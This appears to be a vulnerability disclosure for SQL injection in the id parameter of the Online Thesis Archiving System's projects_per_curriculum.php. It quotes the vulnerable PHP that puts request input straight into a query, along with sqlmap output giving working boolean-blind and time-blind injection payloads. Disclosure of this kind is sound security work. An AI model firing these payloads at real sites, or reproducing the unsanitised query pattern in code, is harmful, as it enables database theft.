SQL injection vulnerability exists in id parameter of projects_per_curriculum.php file of Online Thesis Archiving System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

When visit index.php and page parameter is ‘projects_per_curriculum’,it will include projects_per_curriculum.php,and id parameter can do sql injection.

index.php:

```
<?php $page = isset($_GET['page']) ? $_GET['page'] : 'home';  ?>
<?php require_once('inc/topBarNav.php') ?>
<?php if($_settings->chk_flashdata('success')): ?>
 <script>
   alert_toast("<?php echo $_settings->flashdata('success') ?>",'success')
 </script>
 <?php endif;?>
 <!-- Content Wrapper. Contains page content -->
 <div class="content-wrapper pt-5" style="">
   <?php if($page == "home" || $page == "about_us"): ?>
     <div id="header" class="shadow mb-4">
         <div class="d-flex justify-content-center h-100 w-100 align-items-center flex-column px-3">
             <h1 style="color:Tomato;" class="w-200 text-center site-title" ><?php echo "Online Thesis Archiving System" ?></h1>
             <a href="./?page=projects" class="btn btn-lg btn-light rounded-pill w-25" id="enrollment"><b>Explore Projects</b></a>
         </div>
     </div>
   <?php endif; ?>
   <!-- Main content -->
   <section class="content ">
     <div class="container">
       <?php
         if(!file_exists($page.".php") && !is_dir($page)){
             include '404.html';
         }else{
           if(is_dir($page))
             include $page.'/index.php';
           else
             include $page.'.php';

         }
       ?>
```

projects_per_curriculum.php:

```
if(isset($_GET['id'])){

    $qry = $conn->query("SELECT * FROM curriculum_list where `status` = 1 and id = '{$_GET['id']}' ");
    if($qry->num_rows > 0){
        foreach($qry->fetch_assoc() as $k => $v){
            if(!is_numeric($k)){
                $curriculum[$k] = $v;
            }
        }
    }
```

```
sqlmap identified the following injection point(s) with a total of 184 HTTP(S) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: id=0' RLIKE (SELECT (CASE WHEN (2915=2915) THEN 0 ELSE 0x28 END)) AND 'VnwC'='VnwC&page=projects_per_curriculum

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=0' AND (SELECT 4026 FROM (SELECT(SLEEP(5)))lhIc) AND 'Jqyx'='Jqyx&page=projects_per_curriculum
---
```

“

Parameter: id (GET)

Type: boolean-based blind

Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause

Payload: id=0' RLIKE (SELECT (CASE WHEN (2915=2915) THEN 0 ELSE 0x28 END)) AND 'VnwC'='VnwC&page=projects_per_curriculum

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: id=0' AND (SELECT 4026 FROM (SELECT(SLEEP(5)))lhIc) AND 'Jqyx'='Jqyx&page=projects_per_curriculum

---
“

Source Download：
https://www.campcodes.com/projects/php/online-thesis-archiving-system-in-php-mysql/